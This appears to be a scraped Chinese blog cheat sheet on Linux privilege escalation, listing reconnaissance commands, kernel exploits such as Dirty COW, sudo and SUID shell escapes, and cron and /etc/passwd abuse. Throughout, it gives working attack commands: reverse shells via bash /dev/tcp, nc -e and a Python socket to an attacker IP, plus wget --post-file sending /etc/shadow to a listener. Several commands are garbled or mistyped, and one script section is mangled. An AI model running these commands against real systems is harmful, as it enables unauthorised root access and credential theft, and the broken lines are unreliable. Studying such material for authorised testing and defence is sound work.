Linux提权姿势总结 您所在的位置:网站首页 操作系统gcc命令有哪些 Linux提权姿势总结

Linux提权姿势总结

2023-04-05 18:48| 来源: 网络整理| 查看: 265

0x01 Linux常用命令uname -a #查看内核/操作系统/cpu信息 hend -n 1 /etc/issue #查看操作系统版本 cat /proc/version #查看系统信息 hostname #查看计算机名 env #查看环境变量 ifconfig #查看网卡与ip netstat -lntp #查看所有监听端口 netstat -antp #查看所有已经建立的连接 netstat -s #查看网络统计信息 iptables -L #查看防火墙设置 route -n #查看路由表 ps -ef #查看所有进程 top #实时显示进程状态 w #查看活动用户 id #查看指定用户信息 last #查看用户登录日志 cut -d: -f 1 /etc/passwd#查看系统所有用户 cut -d: -f 1 /etc/group#查看系统所有组 crontab -l #查看当前用户的计划任务 chkconfig –list #列出所有系统服务 chkconfig –list|grepon #列出所有启动的系统服务 //注意:Ubuntu 中 chkconfig 已经被 sysv-rc-conf 所替代 echo$PATH #查看系统路径 0x02 反弹shell命令

看这里:反弹shell姿势总结

0x03 一些小问题1、python实现交互式shell终端

有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

python-c'importpty;pty.spawn("/bin/bash")' python3-c'importpty;pty.spawn("/bin/bash")'

使用su命令提示错误:图片.png

2、解决linux反弹shell乱码

2.1.建立交互shell

kali nc -lvnp 2333 目标 bash -i >& /dev/tcp/192.168.1.128/2333 0>&1

2.2.使用python shell

python -c 'import pty;pty.spawn("/bin/bash")'

2.3.放置后台crtl +z 放在后台2.4.设置格式

stty raw -echo stty -echo raw//一样的

2.5.fg命令再调用即可

0x04 Linux内核漏洞提权( 利用searchsploit搜索)

通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在apache就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限超级管理员权限。

1. 内核溢出提权

内核漏洞是最有效的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集, 再搜索对应的exp进行提权攻击

//查看发行版本:这些命令作用都差不多,获取一些信息 cat /etc/issue cat /etc/*-release cat /etc/redhat-release cat /proc/version lsb_release -a //查看内核版本 uname -a

图片.png图片.png2) 利用kali自带的 searchsploit 来搜索对应版本的exp:(也可以直接去官网找)

searchspoit 发行版本内核版本 searchsploit -t Ubuntu 16.04 //-t仅搜索漏洞标题 searchsploit -s Ubuntu 16.04 // searchsploit -s Linux Kernel 4.15.0

3)找到可利用的脚本之后,查看路径信息,并复制一个到当前目录(别损坏了漏洞库中原文件):

searchsploit -x linux/local/47169.c cp /usr/share/exploitdb/exploits/linux/local/47169.c ./

图片.png图片.png4)之后就是将脚本上传到目标机,进行编译,赋权,执行了。1.如果有其他webshell,有上传权限,那就把这个脚本拿出来,上传上去,再执行就好。2.如果没有其他上传途径,可以在攻击方本地开一个http服务,让目标来下载也行:(开的服务默认在根目录起始)

python3 -m http-server 80 或(python2) python -m SimpleHTTPServer 80

图片.png之后将脚本放到根目录,然后目标机来下载即可:

wget http://192.168.1.130/47169.c -O /tmp/47169.c //下载并保存到/tmp目录下

5)编译,加权限,执行

gcc 47169.c -o exp chmod +x exp ./exp //id测试是否提权成功 id 1.1 Linux_Exploit_Suggester

下载地址:https://github.com/mzet-/linux-exploit-suggester很好用的一款提权辅助工具,用法很简单,在靶机上执行./linux-exploit-suggester.sh就会列出该靶机上可利用的漏洞编号.图片.png

2. 脏牛提权CVE-2016-5195

exp Github下载:https://github.com/FireFart/dirtycowhttps://github.com/gbonacini/CVE-2016-5195(https://gitcode.net/mirrors/gbonacini/CVE-2016-5195?utm_source=csdn_github_accelerator)编译好的exp,包含Android平台与Linux平台版本https://github.com/Brucetg/DirtyCow-EXP脏牛系统提权范围:linux内核=>2.6.22

● RHEL7 Linux x86_64 ● RHEL4(4.4.7-16) ● Debian 7(“wheel”) ● Ubuntu 14.04.1 LTS ● Ubuntu 14.04.5 LTS ● Ubuntu 16.04.1 LTS ● Ubuntu 16.10 ● Linux Mint 17.2 铿锵版本 4.0.0; gcc 版本 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12) gcc 版本 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1) gcc 版本 4.8.5 20150623(红帽 4.8.5-4)(GCC); gcc 版本 4.8.4 (Ubuntu 4.8.4); gcc 版本 4.8.2 (Ubuntu 4.8.2-19ubuntu1) gcc 版本 4.7.2 (Debian 4.7.2-5); gcc 版本 4.4.7(带有“旧”版本)

漏洞成因:Linux写时拷贝技术(copy-on-write)在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。演示:

1)使用dirty.c脚本进行提权

该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。1.下载/上传该脚本到目标机下:

git clone https://github.com/FireFart/dirtycow

图片.png2.编译该脚本:

gcc -pthread dirty.c -o dirty -lcrypt 1.-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告 2.-pedantic 允许发出ANSI/ISO C标准所列出的所有警告 3.-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高 4.-std=c++11就是用按C++2011标准来编译的 5.-pthread 在Linux中要用到多线程时,需要链接pthread库 6.-o dcow gcc生成的目标文件,名字为dcow 7.-lcrypt 添加需要的外部库

图片.png3.添加可执行权限并执行

chmod +x ./dirty ./dirty 999999

4.之后就可以直接用密码999999登录root权限账户firefart

su firefart 999999

不要忘记在运行漏洞利用后恢复您的 /etc/passwd

mv /tmp/passwd.bak /etc/passwd

原理是利用exp获取了写入权限后,对/etc/passwd进行备份,然后对/etc/passwd进行重写,修改账户权限。优点方便快速。缺点受限与环境影响。某些环境下会失败。如果失败还是使用官方放出的exp,对/etc/passwd进行写入,写入前一定要记得先备份!

2)使用CVE-2016-5195提权

https://github.com/gbonacini/CVE-2016-51951.下载脚本到目标机器:

git clone https://github.com/gbonacini/CVE-2016-5195.git

2.编译成可执行文件

使用 g++ -Wall -PEDANTIC -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil 或者直接输入 make 进行

图片.png3.执行脚本

./dcow -s ./dcow -h 3.CVE-2017-16995 ubuntu内核漏洞

1)影响版本

Linux Kernel Version 4.14-4.4 (主要影响Debian和Ubuntu发行版,Redhat和CentOS不受影响)

2)利用步骤

Linux本地内核提权 CVE-2017-16995 从网上下载exp,或者kali导出exp上传到提权主机上。 wget https://github.com/brl/grlh/archive/master.zip 编译: gcc get-rekt-linux-hardened.c -o exp gcc 45010.c -o 45010 编译 chmod +x 45010 增加权限 ./45010 执行脚本返回root权限shell id 0x05 滥用sudo导致的提权(需要普通用户可以sudo执行某些命令,又名sudo 提权)

以下这些程序如果被配置使用root权限启动,且该第三方服务或者程序存在漏洞或者配置问题,那么就可以被利用来获得root权限。** 并且还要知道当前用户的密码 **可以利用sudo提权的命令如下 :

wget、find、cat、apt、zip、xxd、time、taskset、 git、sed、pip、ed、tmux、scp、perl、bash、 less、awk、man、vi、env、ftp

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。是不是每一个新创建的用户都可以使用sudo提升命令的权限呢?如果不是那么哪些用户可以使用此命令呢?要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。当一般用户执行特殊权限时,在命令前加上 sudo,此时系统会让你输入密码以确认终端机前操作的是你本人,确认后系统会将该命令的进程以超级用户的权限运行。在一定的时间段内,再次执行sudo的命令时不再询问密码,超出此时间段(一般为5分钟)后需要再次输入密码。在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。查看用户能以root权限运行的命令:列出目前的权限

sudo -l

图片.png表示全可以执行

01.git 提权sudo git help add sudo git help config sudo git -p help //三选一 输密码 再 !/bin/bash 即可 02.find提权

普通用户find命令提权必要条件:find必须有s执行权限,有s表示可以提权先查看find命令有没有提权的可能:图片.png尝试执行whoami :

find / -type f -name getroot -exec "whoami" \; 这里的反斜杠\是用来转义分号;的

图片.png尝试调出一个交互式的bin/sh并且是root权限

sudo find /home -exec /bin/bash \;

图片.png此shell 为不完整的shell, 升级交互式。

#在反弹shell上执行 [root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")' [root@localhost ~]# ctrl +z 按键。挂起正在运行的程序 [kali机器 ~]# stty raw -echo # 输入这个命令 在输入命令终端不再显示 [kali机器 ~]#fg # 把后台挂起的程序,放入到控制台。终端不再显示命令,输入后回撤 [root@localhost ~]# reset

用find进行反弹shell

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \;

**

find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \;

find+python进行反弹shell

find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \; 03.zip提权( 核心sudo没有该命令,失效 )

zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。通过压缩一个存在的文件,并调用-T参数输出shell1. 下载zip(如果没有)apt install zip2. 创建一个1.txt,将其压缩为1.zip3. 执行

touch 1.txt sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash" 或 touch 1.txt sudo -u root zip 1.zip 1.txt -T -unzip-command="sh -c /bin/bash" 04.awk/morpheus提权sudo awk 'BEGIN {system("/bin/sh")}' sudo morpheus 'BEGIN {system("/bin/sh")}' 05.less**/more**提权sudo less /etc/hosts !bash //若已被分配root权限 less /etc/passwd !/bin/sh 06.man提权sudo man man !bash 07.env提权sudo env /bin/bash 08.ed提权sudo ed !/bin/bash 09.apt提权TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt-get install -c $TF sl

图片.png

10.pip提权TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh $(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF 11.sed提权sudo sed -n '1e exec sh 1>&0' /etc/passwd 12.tmux提权sudo tmux 13.nmap提权

版本5.0一下*进入nmap交互模式*

sudo nmap --interactive 14.taskset提权sudo taskset 1 /bin/sh -p 15.scp提权TF=$(mktemp) echo 'sh 0&2' > $TF chmod +x "$TF" sudo scp -S $TF x y: 16.ftp提权sudo ftp !/bin/bash 17.perl提权sudo perl -e 'exec "/bin/bash";' 0x06.不需要sudo执行权限的提权方式01.wget提权(可能也需要sudo)##kali上监听 nc -lvp 4444 > hash.txt ##靶机上 /usr/bin/wget --post-file=/etc/shadow 192.168.1.130:4444 sudo /usr/bin/wget --post-file=/etc/shadow 192.168.1.130:4444

此时,kali上拿到了hash.txt图片.png

02.Ubuntu计划任务提权(配合suid提权)

对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!列出系统中的一些计划任务:

ls -l /etc/cron* cat /etc/crontab

图片.pngcrontab -l查看当前用户命令图片.png/var/spool/cron/crontabs/root这个目录是root任务文件默认是不是root权限是看不到图片.pngtail-f/var/log/syslog图片.png查看日志文件发现root每一分钟会执行一次cleanup.py文件修改内容反弹shell图片.png

如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。比如把shell复制到tmp目录下其次给权限

cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。

03. teehee提权

teehee提权是使用teehee -a 把一个账号密码写入到etc/passwd中,这个用户具有root权限,再切换到这个用户即可

echo "light::0:0:::/bin/bash" | sudo teehee -a /etc/passwd //提权语句 su light cat /root/flag.txt 04.脚本ping提权

核心ping和gcc没有则无法实现

vi 2.sh unset LD_AUDIT rm -r -f /tmp/exploit mkdir /tmp/exploit ln /bin/ping /tmp/exploit/target exec 3< /tmp/exploit/target ls -l /proc/$$/fd/3 rm -rf /tmp/exploit ls -l /proc/$$/fd/3 cat > program.c /dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \; 三选一 /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误)

会查找到很多。常见suid提权文件有:nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget图片.png在后面,看到 find 也具有 SUID权限。 (因此这里以find为例) 那么我们就可以进行进一步提权了。1.切换到 tmp 目录2.输入whoami 可以看到我们还是普通用户 ,那么我们使用具有SUID权限的find 命令 是否能够成功提权呢?3.我们需要先创建文件,因为find 命令 需要一个指向性的查找。4.执行命令提权:

find test.txt -exec whoami \; find /home -exec /bin/bash \; python -c 'import pty;pty.spawn("/bin/bash")' 生成交互式终端

用find进行反弹shell

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \;

**

find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \;

find+python进行反弹shell

find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \; 其他利用方式:find命令 sudo find . -exec /bin/sh \; -quit  进行反弹shell也可以 find dirty -exec nc -lvp 9999 -e /bin/sh ; chmod命令 sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod ash,linux shell sudo ash cp命令 sudo sh -c 'cp $(which cp) .; chmod +s ./cp  gdb命令 gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

更多suid利用方式:https://gtfobins.github.io/gtfobins如常用指令提权方法命令 利用方法

命令 利用方法 zsh zsh xargs xargs -a /dev/null sh -p watch watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’ timeout timeout 7d /bin/sh -p time time /bin/sh -p tclsh 1、tclsh 2、exec /bin/sh -p @stdout 2>@stderr taskset taskset 1 /bin/sh -p stdbuf stdbuf -i0 /bin/sh -p strace strace -o /dev/null /bin/sh -p ssh ssh -o ProxyCommand=’;sh -p 0&2’ x setarch setarch $(arch) /bin/sh -p rsync rsync -e ‘sh -p -c “sh -p 0&2”’ 127.0.0.1:/dev/null rpm rpm --eval ‘%{lua:os.execute("/bin/sh -p")}’ python python -c ‘import os; os.execl("/bin/sh", “sh”, “-p”)’ php 1、CMD="/bin/sh" 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);” nice nice /bin/sh -p nano 1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 // 输 入下面的命令 more 1、more /etc/profile 2、!/bin/sh -p logsave logsave /dev/null /bin/sh -i -p less less /etc/profile //读取文件,在底行输入!/bin/sh -p ksh ksh -p ip 1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo ionice ionice /bin/sh -p git git help status gimp gimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl("/bin/sh", “sh”, “-p”)’ gdb gdb -nx -ex ‘python import os; os.execl("/bin/sh", “sh”, “-p”)’ -ex quit ftp ftp //在底行输入“!/bin/sh -p” flock flock -u / /bin/sh -p find find . -exec /bin/sh -p ; -quit expect expect -c ‘spawn /bin/sh -p;interact’ env env /bin/sh -p ed ed //在底行输入“!/bin/sh -p” docker docker run -v /:/mnt --rm -it alpine chroot /mnt sh dmesg dmesg -H//在底行输入“!/bin/sh -p” csh csh -b bash bash -p awk awk ‘BEGIN {system("/bin/bash -p")}’ perl perl exec “/bin/bash”;


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有